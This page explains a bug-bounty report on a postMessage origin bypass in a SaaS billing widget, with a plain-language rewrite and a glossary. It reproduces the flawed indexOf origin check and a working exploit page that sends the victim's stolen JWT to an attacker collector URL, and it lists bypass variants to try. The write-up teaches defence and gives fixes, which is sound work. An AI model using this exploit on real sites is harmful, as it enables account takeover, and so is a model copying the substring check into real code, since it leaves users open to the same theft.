How a PostMessage Origin Bypass Led to a $5,500 Cross-Origin Account Takeover
Modern web applications frequently rely on cross-window communication to coordinate between parent dashboards, embedded iframes, and third-party authentication popups. The standard browser API for this interaction is window.postMessage(), which allows scripts from different origins to exchange structured data…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was an enterprise SaaS platform with a primary web application at https://app.target-platform.com. That application embedded a centralised billing and user-management widget served from https://billing.target-platform.com.
The widget's job was to keep user state in sync and to refresh expired access tokens without forcing a full page reload. To do that, the billing iframe registered a global message listener on initialisation and used window.postMessage() to exchange structured data with other windows.
Setup
The write-up does not describe accounts, roles, tool versions or a specific test environment. The precondition that matters is the victim's state: an authenticated user with an active session, whose access_token is held in localStorage by the billing widget. The attacker needs a domain they control and the ability to get the victim to visit a page on it and click once.
Finding it
Inspecting the bundled client-side JavaScript revealed the listener implementation. Two flaws stood out: the origin check used a substring match, and the listener would reflect the stored token back to whoever asked for it.
Vulnerable event listener code
window.addEventListener("message", function(event) { // Flawed origin validation check if (event.origin && event.origin.indexOf("target-platform.com") !== -1) { const data = JSON.parse(event.data); if (data.type === "SYNC_SESSION") { localStorage.setItem("access_token", data.token); window.location.href = data.redirectUrl || "/dashboard"; } if (data.type === "REQUEST_TOKEN") { event.source.postMessage(JSON.stringify({ type: "TOKEN_RESPONSE", token: localStorage.getItem("access_token") }), event.origin); } }});
The two flaws combined to make the implementation exploitable:
- Substring origin matching.
event.origin.indexOf("target-platform.com") !== -1only checks whether the string appears anywhere inside the origin URL, rather than enforcing an exact host match. Attacker-controlled domains such ashttps://target-platform.com.attacker.comorhttps://attacker.com?target-platform.com(and subdomain setups likehttps://target-platform.com.evil.org) satisfy the condition. - Unrestricted token reflection. On a
REQUEST_TOKENmessage, the listener reads the sensitiveaccess_tokendirectly fromlocalStorageand transmits it back toevent.source, usingevent.originas the target origin.
Exploitation
Step 1: Confirming cross-origin framing and message handling
The first question was whether https://billing.target-platform.com could be embedded in an <iframe> or opened via window.open() without being blocked by X-Frame-Options or a CSP frame-ancestors directive. The response headers from the billing endpoint were:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8Content-Security-Policy: frame-ancestors 'self' https://*.target-platform.com;
frame-ancestors prevented third-party sites from embedding the page inside a hidden <iframe>. However, the page could still be opened in a new browser tab or popup window via window.open(), which retains a valid window.opener reference for postMessage communication. The framing defence therefore did not close the path.
Step 2: Building the cross-origin exploit page
To satisfy the indexOf("target-platform.com") check, the researcher configured a subdomain under an attacker-controlled domain: https://target-platform.com.attacker-domain.com. On that host, a lightweight HTML page opened the vulnerable billing endpoint, waited for it to load, and dispatched the REQUEST_TOKEN payload:
<!DOCTYPE html><html><head> <title>Loading...</title></head><body> <script> // Listen for the exfiltrated token response window.addEventListener("message", function(event) { if (event.origin === "https://billing.target-platform.com") { const response = JSON.parse(event.data); if (response.type === "TOKEN_RESPONSE" && response.token) { // Send the victim's JWT to an attacker-controlled collector fetch("https://collector.attacker-domain.com/steal", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ stolen_token: response.token }) }); } } });
// Trigger the popup and send the message once loaded function startExploit() { const targetWin = window.open("https://billing.target-platform.com/widget", "_blank"); setTimeout(() => { targetWin.postMessage(JSON.stringify({ type: "REQUEST_TOKEN" }), "https://billing.target-platform.com"); }, 2500); } </script> <button onclick="startExploit()">Continue</button></body></html>
The page has two halves. The message listener on the attacker page accepts replies only from https://billing.target-platform.com, parses them, and on a TOKEN_RESPONSE carrying a token, POSTs the token as JSON to an attacker-controlled collector. The startExploit function opens the billing widget in a new window, keeps the returned window reference in targetWin, and after 2500 ms sends {"type": "REQUEST_TOKEN"} to it with the billing origin as the explicit target origin. The button provides the user gesture needed to get past popup blockers.
Exploitation execution flow
- Victim interaction. An authenticated user visits
https://target-platform.com.attacker-domain.comand clicks anywhere on the page, satisfying browser popup-blocker user-gesture requirements. - Window opening.
window.open()openshttps://billing.target-platform.com/widgetin a background or secondary window using the victim's existing authenticated session. - Message dispatch. After 2.5 seconds, the attacker page sends
{"type": "REQUEST_TOKEN"}totargetWin. - Origin check bypass. The victim window checks
"https://target-platform.com.attacker-domain.com".indexOf("target-platform.com"), which evaluates to8(not-1), bypassing the validation guard. - Token exfiltration. The billing widget reads
localStorage.getItem("access_token")and posts the JSON payload containing the victim's active Bearer JWT directly back to the attacker's window.
With the stolen JWT, the attacker gained full read and write access to the victim's API endpoints, enabling immediate email modification and account takeover.
Root cause
The mistake is the origin validation itself. event.origin.indexOf("target-platform.com") !== -1 treats the origin as an opaque string and asks whether a substring occurs anywhere in it. An origin is a structured value (scheme, host, port), and the only safe comparison is equality against an explicit allowlist. Because the check accepted any origin containing the string, a host the attacker controls, placed as a subdomain label in front of the trusted name, passed.
The second half of the bug is the design of the REQUEST_TOKEN handler: it reads the access token from localStorage and sends it to event.source, with event.origin as the target origin. Reflecting the sender's origin as the target origin means the message is delivered exactly to the party that asked for it, so once the origin check is bypassed there is nothing else in the way. The token being in localStorage rather than an HttpOnly cookie is what makes it readable by the widget's JavaScript in the first place.
The CSP frame-ancestors 'self' https://*.target-platform.com; on the billing endpoint blocked third-party framing, but it did not block window.open(), so the popup route remained open. The report does not describe any other defence that was in place.
Impact
An attacker who gets an authenticated user to visit an attacker-controlled page and click once can obtain that user's active Bearer JWT. The attack requires the victim to be logged in and to interact with the page; the popup is opened with the victim's existing session.
Fix
The report gives three remediation strategies.
- Enforce exact origin comparison. Never use
.indexOf(),.includes()or unanchored regular expressions to validateevent.origin. Compare against an explicit allowlist of exact origin strings:
const ALLOWED_ORIGINS = [ "https://app.target-platform.com", "https://billing.target-platform.com" ]; window.addEventListener("message", function(event) { if (!ALLOWED_ORIGINS.includes(event.origin)) { return; } // Process trusted message });
- Avoid transmitting sensitive tokens via postMessage. Store session tokens in
HttpOnly,Secure,SameSite=Laxcookies rather thanlocalStorage, so client-side JavaScript cannot read or transmit raw credentials across windows. - Specify explicit target origins. When calling
postMessage(), always pass the exact expected recipient origin as the second argument rather than reflectingevent.origindynamically.
Variants to test
- Prefix domains. Register or use a host such as
target.com.attacker.comand send a message from it. A positive result is the target's listener processing the message instead of ignoring it. - Suffix variations. Try hosts such as
attackertarget.comwhere the check is a plain substring match. A positive result is the same: the listener acts on the message. - Query-string tricks. Where the check runs against a string that can carry a query, try forms like
https://attacker.com?target-platform.com. A positive result is the listener accepting the origin. - Token reflection. Send a
REQUEST_TOKEN-style message from an accepted origin and watch for a reply containing a token. A positive result is a response message arriving at the attacker window with a credential in it. - Popup versus iframe. If
frame-ancestorsblocks framing, trywindow.open()and keep the returned window reference. A positive result is the target page loading in the popup and accepting messages sent to that reference.
Hunting notes
This kind of bug hides in client-side bundles. Search minified JavaScript files for addEventListener("message" or .postMessage( to locate cross-window communication handlers that automated dynamic scanners rarely exercise. The signal during recon is a message listener whose origin check uses string matching, regex or indexOf rather than an equality comparison against a fixed list.
Whenever an origin check relies on regex or string matching, verify whether prefix domains (target.com.attacker.com) or suffix variations (attackertarget.com) bypass the filter. Also check what the listener does with the message once accepted: a handler that returns stored credentials to event.source turns a validation slip into a full account takeover. The report shows impact by carrying the stolen JWT through to API access and email modification.
What happened, in plain words
A company ran two websites that worked together. One was the main application, where users did their work. The other was a smaller helper page that handled billing and user details. The helper page used a browser feature called postMessage, which lets two windows or frames send messages to each other.
Before a window accepts a message, it is supposed to check who sent it. The helper page tried to do that check, but it did it badly. It only asked whether the sender's web address contained the company's name somewhere inside it. So a criminal could register a web address like target-platform.com.attacker-domain.com, which contains the company name but belongs to the criminal, and the helper page would trust it.
Once trusted, the criminal's page could simply ask the helper page for the user's login token. A token is a short piece of text that proves who you are, a bit like a wristband at a festival: show it and you get in without showing your ID again. The helper page handed the token over without a second thought. With that token, the criminal could act as the victim, change the victim's email address, and take over the account.
This write-up walks through how the researcher found the flaw, built a small trap page, and proved the theft worked. It then explains how to fix it.

Background: the pieces involved
Before the details, here are the ideas you need. Each one is explained from scratch.
What is a web application?
A web application is a website that behaves like software. You log in, it remembers you, and it shows you your own data. Behind the scenes it has two parts: code that runs on the company's server (the back end) and code that runs in your browser (the front end). The front end is what you see and click.
What is an API?
An API (Application Programming Interface) is the set of doors and windows through which one piece of software asks another piece of software to do something. Think of a restaurant: the menu is the API. You do not walk into the kitchen and cook; you order from the menu, and the kitchen sends back a dish. In a web application, the front end orders data from the back end through the API, for example "give me this user's profile" or "change this user's email address".
What is a token?
When you log in, the server needs a way to recognise you on every later request. It gives your browser a token: a long, hard-to-guess string. Your browser sends it back with each request, and the server checks it before doing anything. If someone steals your token, they can pretend to be you without knowing your password. The report calls the stolen one a Bearer JWT. "Bearer" means "whoever carries this token is treated as the owner", and JWT is just a common format for such tokens.
What is localStorage?
localStorage is a small storage box built into every browser. A website can put text into it and read it back later, even after you close the tab. It is convenient, but any JavaScript running on that page can read everything inside it. If a token sits in localStorage, then any code that manages to run on that page can pick the token up.
What is postMessage?
Sometimes two windows need to talk: a main page and an embedded frame, or a page and a popup it opened. Because they may come from different websites, the browser does not let them read each other's contents directly. Instead, the browser provides window.postMessage(), a postal service between windows. One window posts a message, and the other window has a listener, a piece of code that waits for incoming post and runs when one arrives.
Every delivered message carries information about the sender, including event.origin. An origin is the combination of protocol, host and port, for example https://billing.target-platform.com. The receiving code is supposed to check event.origin and ignore anything from a website it does not trust. If it does not check, or checks badly, any website can post instructions into it.
What is an iframe and what is window.open()?
An iframe is a window inside a window: one web page embedded inside another. window.open() is the browser command that opens a new tab or popup. Both create a second window that can exchange messages with the first.
What is the vulnerability class?
This bug is a cross-origin message trust flaw. "Cross-origin" means "coming from a different website". The helper page was supposed to trust only its own company's websites, but its check was too loose, so it trusted a criminal's website too. The result was that the criminal could ask for and receive the user's token.
The target: two sites working together
The company ran an enterprise SaaS platform. SaaS means "software as a service": software you use through a browser instead of installing. "Enterprise" means it is sold to large organisations.
The main application lived at https://app.target-platform.com. Inside it, the company embedded a billing and user-management widget served from https://billing.target-platform.com. A widget here means a self-contained mini application that handles one job: keeping track of the user's billing details and login state.
The widget had a specific task: keep the user's state in sync and refresh expired access tokens. An access token expires after a while; the widget's job was to refresh expired ones. To do this, the widget listened for messages and used window.postMessage() to exchange data with other windows.
Setup: what the attacker needed
The write-up does not describe accounts, roles, tool versions or a specific test environment. What matters is the victim's situation: a logged-in user with an active session, whose access_token is stored in localStorage by the billing widget. The attacker needs two things: a domain they control, and a way to get the victim to visit a page on it and click once.
Finding it: the broken check
The researcher looked at the JavaScript that the website sends to the browser. This code is often bundled and minified, meaning it is squashed together to load faster, but it can still be read. Inside, the researcher found the listener that handles incoming messages.
The vulnerable listener
window.addEventListener("message", function(event) { // Flawed origin validation check if (event.origin && event.origin.indexOf("target-platform.com") !== -1) { const data = JSON.parse(event.data); if (data.type === "SYNC_SESSION") { localStorage.setItem("access_token", data.token); window.location.href = data.redirectUrl || "/dashboard"; } if (data.type === "REQUEST_TOKEN") { event.source.postMessage(JSON.stringify({ type: "TOKEN_RESPONSE", token: localStorage.getItem("access_token") }), event.origin); } }});
Line by line, in plain words:
window.addEventListener("message", function(event) {tells the browser: whenever a message arrives at this window, run the function that follows. Theeventobject holds the details of that message.if (event.origin && event.origin.indexOf("target-platform.com") !== -1) {is the check that decides whether to trust the sender.event.originis the sender's web address.indexOfasks "where in this text does the phrase appear?" and returns a number: the position if found, or-1if not found. So the condition means "the sender's address exists and contains the phrasetarget-platform.comsomewhere". That is the flaw: containing the phrase is not the same as being the company's site.const data = JSON.parse(event.data);turns the message text into a structured object the code can inspect. JSON is a common text format for data, like a neatly filled-in form.if (data.type === "SYNC_SESSION") {handles one kind of message, one that asks the widget to update the stored session.localStorage.setItem("access_token", data.token);saves the token from the message into the browser's storage box.window.location.href = data.redirectUrl || "/dashboard";sends the browser to a page named in the message, or to/dashboardif none was given.if (data.type === "REQUEST_TOKEN") {handles a second kind of message: a request for the stored token.event.source.postMessage(JSON.stringify({prepares a reply and sends it back to the window that asked.event.sourceis that window.type: "TOKEN_RESPONSE",labels the reply so the asker knows what it is.token: localStorage.getItem("access_token")reads the stored token and puts it in the reply.}), event.origin);sends the reply, using the sender's own origin as the destination. In other words, it replies to exactly whoever asked.
Two flaws combined to make this dangerous:
- Substring origin matching. The check only asks whether the phrase appears anywhere inside the sender's address, rather than requiring an exact match. Criminal-controlled addresses such as
https://target-platform.com.attacker.comorhttps://attacker.com?target-platform.com(and setups likehttps://target-platform.com.evil.org) all contain the phrase and therefore pass. - Unrestricted token reflection. When a
REQUEST_TOKENmessage arrives, the listener reads the sensitiveaccess_tokenfromlocalStorageand sends it straight back to whoever asked, using the asker's own origin as the destination.
Exploitation: proving it works
Step 1: Can the page be opened at all?
The first question was whether https://billing.target-platform.com could be placed inside an <iframe> or opened with window.open() without being blocked. Websites can defend themselves against being embedded by other sites, using response headers. A header is a small note the server attaches to its reply, giving the browser instructions.
The response headers from the billing endpoint were:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8Content-Security-Policy: frame-ancestors 'self' https://*.target-platform.com;
In plain words:
HTTP/2 200 OKsays the request succeeded, using version 2 of the HTTP protocol, the language browsers and servers speak.Content-Type: text/html; charset=utf-8says the reply is an HTML page, the normal kind of web page, encoded in UTF-8, a standard way of representing text.Content-Security-Policy: frame-ancestors 'self' https://*.target-platform.com;is a rule that says: this page may only be embedded by pages from the same site or from subdomains oftarget-platform.com. The*is a wildcard meaning "any subdomain".
This rule stopped third-party sites from hiding the page inside an iframe. But it did not stop the page from being opened in a new tab or popup with window.open(). A popup opened this way keeps a link back to the window that opened it, called window.opener, and that link is what allows messages to flow. So the framing defence did not close the path.
Step 2: Building the trap page
To pass the indexOf("target-platform.com") check, the researcher set up a subdomain under a domain they controlled: https://target-platform.com.attacker-domain.com. Read it from left to right: the part the criminal owns is attacker-domain.com, and they placed target-platform.com in front of it as a label. The browser treats the whole thing as one address, and the phrase is inside it.
On that host, the researcher put up a small HTML page. Its job was to open the billing page, wait for it to load, and send the REQUEST_TOKEN message:
<!DOCTYPE html><html><head> <title>Loading...</title></head><body> <script> // Listen for the exfiltrated token response window.addEventListener("message", function(event) { if (event.origin === "https://billing.target-platform.com") { const response = JSON.parse(event.data); if (response.type === "TOKEN_RESPONSE" && response.token) { // Send the victim's JWT to an attacker-controlled collector fetch("https://collector.attacker-domain.com/steal", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ stolen_token: response.token }) }); } }
Line by line:
<!DOCTYPE html><html><head> <title>Loading...</title></head><body>is the skeleton of a web page. The title shown in the tab is "Loading...", chosen to look harmless.<script>starts a block of JavaScript, the language browsers run.window.addEventListener("message", function(event) {sets up a listener on the attacker's own page, waiting for replies.if (event.origin === "https://billing.target-platform.com") {accepts a reply only if it comes from the billing site. This is the correct way to check an origin: exact equality, not a substring.const response = JSON.parse(event.data);turns the reply text into an object.if (response.type === "TOKEN_RESPONSE" && response.token) {checks that the reply is a token response and actually contains a token.fetch("https://collector.attacker-domain.com/steal", {sends the stolen token to a server the attacker controls.fetchis the browser's way of making a request to a server.method: "POST",says this is a POST request, the kind used to send data rather than just ask for a page.headers: { "Content-Type": "application/json" },tells the receiving server that the body is JSON.body: JSON.stringify({ stolen_token: response.token })turns the token into JSON text and puts it in the request body.
The second half of the page:
// Trigger the popup and send the message once loaded function startExploit() { const targetWin = window.open("https://billing.target-platform.com/widget", "_blank"); setTimeout(() => { targetWin.postMessage(JSON.stringify({ type: "REQUEST_TOKEN" }), "https://billing.target-platform.com"); }, 2500); } </script> <button onclick="startExploit()">Continue</button></body></html>
Line by line:
function startExploit() {defines a function, a named block of code that runs when called.const targetWin = window.open("https://billing.target-platform.com/widget", "_blank");opens the billing widget in a new window and keeps a handle to it intargetWin._blankmeans a new tab or window.setTimeout(() => {schedules the code inside to run after a delay, giving the widget time to load.targetWin.postMessage(JSON.stringify({sends a message to the opened window.JSON.stringifyturns the object into text, because messages travel as text.type: "REQUEST_TOKEN"is the instruction: "please give me the token".}), "https://billing.target-platform.com");sends it, naming the billing site as the intended recipient. This second argument is the target origin, a safety measure so the message is not delivered to the wrong place.}, 2500);sets the delay to 2500 milliseconds, that is 2.5 seconds.<button onclick="startExploit()">Continue</button>puts a button on the page. Clicking it runs the function. The click matters because browsers block popups that open without any user action, to stop pages spamming you with windows.
So the page has two halves. The listener accepts replies only from the billing site, and when a token arrives it forwards it to the attacker's collector. The function opens the widget, waits, and asks for the token. The button supplies the click the browser requires.
The execution flow, step by step
- Victim interaction. A logged-in user visits
https://target-platform.com.attacker-domain.comand clicks on the page. The click satisfies the browser's rule that popups need a user action. - Window opening.
window.open()openshttps://billing.target-platform.com/widgetin a background or secondary window. Because the victim is already logged in, that window loads with the victim's existing session. - Message dispatch. After 2.5 seconds, the attacker page sends
{"type": "REQUEST_TOKEN"}totargetWin. - Origin check bypass. The victim's window checks
"https://target-platform.com.attacker-domain.com".indexOf("target-platform.com"). The phrase is found at position 8, so the result is8, not-1, and the check passes. The guard is bypassed. - Token exfiltration. The billing widget reads
localStorage.getItem("access_token")and posts the JSON payload containing the victim's active Bearer JWT straight back to the attacker's window.
With the stolen JWT, the attacker gained full read and write access to the victim's API endpoints. That means they could both look at the victim's data and change it. In practice this allowed immediate email modification and account takeover: changing the email address is often enough to lock the real owner out and reset the password.
Root cause: why it worked
The mistake is the origin validation itself. event.origin.indexOf("target-platform.com") !== -1 treats the origin as a meaningless string and asks whether a piece of text occurs anywhere inside it. But an origin is a structured value made of scheme, host and port, and the only safe comparison is exact equality against a list of allowed origins. Because the check accepted any origin containing the phrase, a host the attacker controlled, with the trusted name placed in front of it, passed.
The second half of the bug is the design of the REQUEST_TOKEN handler. It reads the access token from localStorage and sends it to event.source, using event.origin as the destination. Replying to the sender's own origin means the message is delivered exactly to the party that asked, so once the origin check is bypassed there is nothing else in the way. And the token being in localStorage rather than in a cookie is what makes it readable by the widget's JavaScript in the first place. A cookie is a small piece of data the browser stores and sends automatically; when marked HttpOnly, JavaScript is not allowed to read it, which keeps it out of reach of this kind of theft.
The CSP rule frame-ancestors 'self' https://*.target-platform.com; on the billing endpoint blocked third-party framing, but it did not block window.open(), so the popup route stayed open. The report does not describe any other defence that was in place.
Impact: what an attacker could do
An attacker who gets a logged-in user to visit an attacker-controlled page and click once can obtain that user's active Bearer JWT. With the stolen JWT, the attacker gained full read and write access to the victim's API endpoints, enabling immediate email modification and account takeover. The attack requires the victim to be logged in and to interact with the page; the popup opens with the victim's existing session.
Fix: how to close the hole
The report gives three remediation strategies.
- Enforce exact origin comparison. Never use
.indexOf(),.includes()or unanchored regular expressions to validateevent.origin. Compare against an explicit allowlist of exact origin strings:
const ALLOWED_ORIGINS = [ "https://app.target-platform.com", "https://billing.target-platform.com" ]; window.addEventListener("message", function(event) { if (!ALLOWED_ORIGINS.includes(event.origin)) { return; } // Process trusted message });
In plain words: ALLOWED_ORIGINS is a list of the exact addresses that are trusted. When a message arrives, if (!ALLOWED_ORIGINS.includes(event.origin)) { return; } checks whether the sender's origin is in that list. If it is not, return stops the function immediately and the message is ignored. Only exact matches get through.
-
Avoid transmitting sensitive tokens via postMessage. Store session tokens in
HttpOnly,Secure,SameSite=Laxcookies rather thanlocalStorage, so client-side JavaScript cannot read or transmit raw credentials across windows.HttpOnlyhides the cookie from JavaScript,Securesends it only over encrypted connections, andSameSite=Laxlimits when the browser attaches it to requests from other sites. -
Specify explicit target origins. When calling
postMessage(), always pass the exact expected recipient origin as the second argument rather than reflectingevent.origindynamically.
Variants to test
If you are testing a similar feature, these are the variations worth trying. Each one is a small change to the same idea.
- Prefix domains. Register or use a host such as
target.com.attacker.comand send a message from it. A positive result is the target's listener processing the message instead of ignoring it. - Suffix variations. Try hosts such as
attackertarget.comwhere the check is a plain substring match. A positive result is the same: the listener acts on the message. - Query-string tricks. Where the check runs against a string that can carry a query, try forms like
https://attacker.com?target-platform.com. A positive result is the listener accepting the origin. - Token reflection. Send a
REQUEST_TOKEN-style message from an accepted origin and watch for a reply containing a token. A positive result is a response message arriving at the attacker window with a credential in it. - Popup versus iframe. If
frame-ancestorsblocks framing, trywindow.open()and keep the returned window reference. A positive result is the target page loading in the popup and accepting messages sent to that reference.
Hunting notes
This kind of bug hides in the JavaScript that websites send to browsers. Search minified JavaScript files for addEventListener("message" or .postMessage( to find cross-window communication handlers that automated scanners rarely exercise. The signal during recon is a message listener whose origin check uses string matching, regex or indexOf rather than an equality comparison against a fixed list.
Whenever an origin check relies on regex or string matching, verify whether prefix domains (target.com.attacker.com) or suffix variations (attackertarget.com) bypass the filter. Also check what the listener does with the message once accepted: a handler that returns stored credentials to event.source turns a validation slip into a full account takeover. The report shows impact by carrying the stolen JWT through to API access and email modification.
Glossary
- API: the set of requests one piece of software can make to another; the menu through which the front end asks the back end for data or actions.
- Access token: a string that proves a user is logged in, sent with requests so the server can recognise them.
- Allowlist: a list of things that are explicitly permitted, with everything else refused.
- Bearer JWT: a token in the JWT format where whoever carries it is treated as its owner.
- Cookie: a small piece of data a browser stores for a site and sends back automatically with requests.
- Cross-origin: coming from a different website (different scheme, host or port).
- CSP (Content-Security-Policy): a set of rules a server sends to the browser to restrict what a page may do, such as who may embed it.
event.origin: the property of a message event that says which website sent the message.event.source: the property of a message event that points to the window that sent the message.- Exfiltration: secretly moving stolen data out to a place the attacker controls.
fetch: the browser function for making a request to a server.frame-ancestors: a CSP rule that says which sites are allowed to embed a page inside an iframe.- Header: a small note attached to an HTTP request or response that gives the browser or server instructions.
- HTML: the language used to describe the structure of a web page.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
HttpOnly: a cookie setting that stops JavaScript from reading the cookie.- Iframe: a web page embedded inside another web page.
indexOf: a JavaScript function that returns the position of a piece of text inside another, or-1if it is not found.- JavaScript: the programming language that runs in browsers and makes pages interactive.
- JSON: a text format for structured data, easy for both people and programs to read.
- JWT: a common format for tokens, made of encoded parts that can carry information about the user.
localStorage: a storage box in the browser where a site can keep text, readable by any JavaScript on that page.- Minified: code squashed together to load faster, still readable but harder to follow.
- Origin: the combination of scheme, host and port that identifies a website, for example
https://billing.target-platform.com. - Popup blocker: a browser feature that stops pages opening new windows without a user action.
postMessage: the browser function that lets windows from different sites send messages to each other.- POST request: an HTTP request that sends data to a server, rather than just asking for a page.
- Regex (regular expression): a pattern for matching text, which can be written too loosely and match more than intended.
- SaaS: software you use through a browser instead of installing on your computer.
SameSite=Lax: a cookie setting that limits when the browser sends the cookie on requests coming from other sites.Secure: a cookie setting that sends the cookie only over encrypted connections.- Session: the period during which a site remembers that you are logged in.
- Subdomain: a part added in front of a domain name, such as
billinginbilling.example.com. - Substring match: checking whether a piece of text appears anywhere inside another, rather than requiring an exact match.
- Token reflection: sending a credential back to whoever asked for it.
- UTF-8: a standard way of encoding text so computers can store and transmit it.
- Widget: a self-contained mini application embedded in a page that handles one job.
window.open(): the browser function that opens a new tab or popup window.window.opener: the reference a popup keeps to the window that opened it, which allows the two to communicate.- X-Frame-Options: a response header that tells the browser whether a page may be embedded in an iframe.